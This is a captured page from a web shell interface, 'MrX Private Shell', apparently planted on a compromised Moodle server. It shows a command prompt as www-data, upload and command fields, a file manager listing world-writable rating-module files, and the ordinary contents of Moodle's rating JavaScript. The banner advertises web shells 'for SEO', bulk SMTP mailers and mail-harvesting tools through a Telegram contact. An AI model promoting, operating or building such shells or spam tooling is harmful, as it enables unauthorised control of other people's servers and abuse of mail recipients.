__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
M.core_rating = {

    Y : null,
    api: M.cfg.wwwroot + '/rating/rate_ajax.php',

    init : function(Y){
        this.Y = Y;
        Y.all('select.postratingmenu').each(this.attach_rating_events, this);

        //hide the submit buttons
        this.Y.all('input.postratingmenusubmit').setStyle('display', 'none');
    },

    attach_rating_events : function(selectnode) {
        selectnode.on('change', this.submit_rating, this, selectnode);
    },

    submit_rating : function(e, selectnode){
        var theinputs = selectnode.ancestor('form').all('.ratinginput');
        var thedata = [];

        var inputssize = theinputs.size();
        for (var i = 0; i < inputssize; i++) {
            if(theinputs.item(i).get("name") != "returnurl") { // Dont include return url for ajax requests.
                thedata[theinputs.item(i).get("name")] = theinputs.item(i).get("value");
            }
        }

        var scope = this;
        var cfg = {
            method: 'POST',
            on: {
                complete : function(tid, outcome, args) {
                    try {
                        if (!outcome) {
                            alert('IO FATAL');
                            return false;
                        }

                        var data = scope.Y.JSON.parse(outcome.responseText);
                        if (data.success){
                            //if the user has access to the aggregate then update it
                            if (data.itemid) { //do not test data.aggregate or data.count otherwise it doesn't refresh value=0 or no value
                                var itemid = data.itemid;

                                var node = scope.Y.one('#ratingaggregate' + itemid);
                                node.set('innerHTML',data.aggregate);

                                // Empty the count value if no ratings.
                                var node = scope.Y.one('#ratingcount' + itemid);
                                if (data.count > 0) {
                                    node.set('innerHTML', "(" + data.count + ")");
                                } else {
                                    node.set('innerHTML', "");
                                }
                            }
                            return true;
                        }
                        else if (data.error) {
                            alert(data.error);
                        }
                    } catch(e) {
                        alert(e.message + " " + outcome.responseText);
                    }
                    return false;
                }
            },
            arguments: {
                scope: scope
            },
            headers: {
            },
            data: build_querystring(thedata)
        };
        this.Y.io(this.api, cfg);

    }
};

Filemanager

Name Type Size Permission Actions
classes Folder 0777
tests Folder 0777
index.php File 5.43 KB 0777
lib.php File 52.02 KB 0777
module.js File 2.78 KB 0777
rate.php File 4.08 KB 0777
rate_ajax.php File 2.69 KB 0777
Filemanager